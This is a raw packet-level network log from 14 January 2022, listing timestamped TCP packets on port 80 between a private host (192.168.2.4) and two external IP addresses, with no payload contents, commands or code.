Jan 14, 2022 12:30:18.402452946 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.402479887 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402494907 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402503967 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.402510881 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402528048 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402535915 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.402544975 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402561903 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402571917 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.402579069 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402595997 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402606964 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.402612925 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402628899 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402640104 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.402645111 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402662039 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402673006 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.402677059 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402694941 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402702093 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.402710915 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402729034 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402745962 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402749062 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.402771950 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.403009892 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.403044939 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.403060913 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.403079033 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.403093100 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.403095961 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.403116941 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.403126001 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.403142929 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.403148890 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.403166056 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.403183937 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.403201103 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.403203011 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.403218031 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.403238058 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.403239012 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.403258085 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.403259993 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.403281927 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.403301954 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.403315067 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.403315067 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.403337955 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.403345108 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.403383970 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.405723095 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.405742884 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.405755043 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.405766964 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.405783892 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.405801058 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.405822039 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.405864000 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.405931950 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.405949116 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.405961990 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.406003952 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.406019926 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.406022072 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.406033039 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.406049967 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.406061888 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.406063080 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.406075954 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.406086922 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.406089067 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.406106949 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.406119108 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.406122923 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.406132936 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.406146049 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.406147003 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.406158924 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.406169891 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.406177998 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.406191111 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.406203032 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.406203032 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.406225920 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.406249046 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.408348083 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.408370972 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.408387899 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.408406019 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.408443928 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.408462048 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.408549070 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.415528059 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.415549994 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.415584087 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.417041063 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.417064905 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.428361893 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.428380966 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.428391933 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.428486109 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.428517103 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.428811073 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.428829908 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.428845882 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.428864002 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.428877115 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.428875923 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.428889990 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.428906918 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.428915977 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.428925991 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.428942919 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.428944111 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.428961992 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.428983927 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.428987026 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.429003954 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429012060 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.429023981 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429040909 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429054022 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.429054976 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429069042 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429085016 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429090023 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.429105043 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429122925 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.429152966 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.429354906 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429373980 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429389954 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429408073 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429425001 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429438114 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.429441929 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429456949 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429465055 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.429475069 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429491997 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429493904 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.429506063 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429518938 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429536104 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429547071 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.429554939 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429574013 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429594994 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429599047 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.429613113 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429625034 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.429631948 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429666042 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.429770947 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.429819107 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.431849003 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.431865931 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.431880951 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.431896925 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.431912899 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.431914091 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.431926966 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.431945086 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.431951046 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.431957006 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.431969881 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.431982040 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.431982994 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.431997061 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.432008028 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.432043076 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.433576107 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.433593988 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.433599949 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.433645964 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.433660030 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.441683054 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.441704988 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.441716909 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.441729069 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.441741943 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.441754103 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.441781044 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.441817045 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.443387985 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.469561100 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469583988 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469597101 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469613075 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469625950 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469639063 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469651937 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469652891 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.469665051 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469680071 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469692945 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469712019 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469721079 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.469732046 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469743013 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.469748974 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469768047 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469780922 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469799995 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469799042 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.469816923 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469830036 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.469839096 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469867945 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.469873905 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469882011 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.469892025 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469913006 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469930887 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469933987 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.469948053 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469965935 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469968081 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.469983101 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.469999075 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470000029 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470016956 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470032930 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470033884 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470052004 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470068932 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470069885 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470084906 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470102072 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470104933 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470118999 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470134974 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470139027 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470170975 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470191956 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470210075 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470226049 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470242977 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470252037 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470259905 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470278025 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470279932 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470295906 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470313072 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470314980 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470330000 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470347881 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470349073 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470365047 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470381975 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470390081 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470400095 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470417023 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470432997 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470432997 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470452070 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470462084 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470468998 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470487118 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470503092 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470505953 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470520020 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470536947 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470537901 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470554113 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470561981 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470571995 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470590115 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470597982 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470607996 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470623970 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470638990 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470639944 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470658064 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470659971 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470675945 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470690966 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470709085 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470721006 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470735073 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470738888 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470757008 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470777035 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470786095 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470808983 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470827103 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470828056 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470845938 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470863104 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470865011 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470880985 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470899105 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470901966 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470916033 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470933914 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.470936060 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.470978975 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471013069 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471033096 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471050978 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471066952 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471067905 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471082926 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471101046 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471111059 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471127987 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471146107 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471148014 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471163034 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471193075 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471205950 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471210003 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471227884 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471232891 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471256971 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471261024 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471275091 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471291065 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471307993 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471308947 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471324921 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471340895 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471347094 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471358061 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471374989 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471374989 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471391916 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471410036 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471420050 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471425056 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471442938 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471451044 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471461058 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471477032 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471486092 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471494913 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471513987 CET	80	49930	185.163.204.24	192.168.2.4
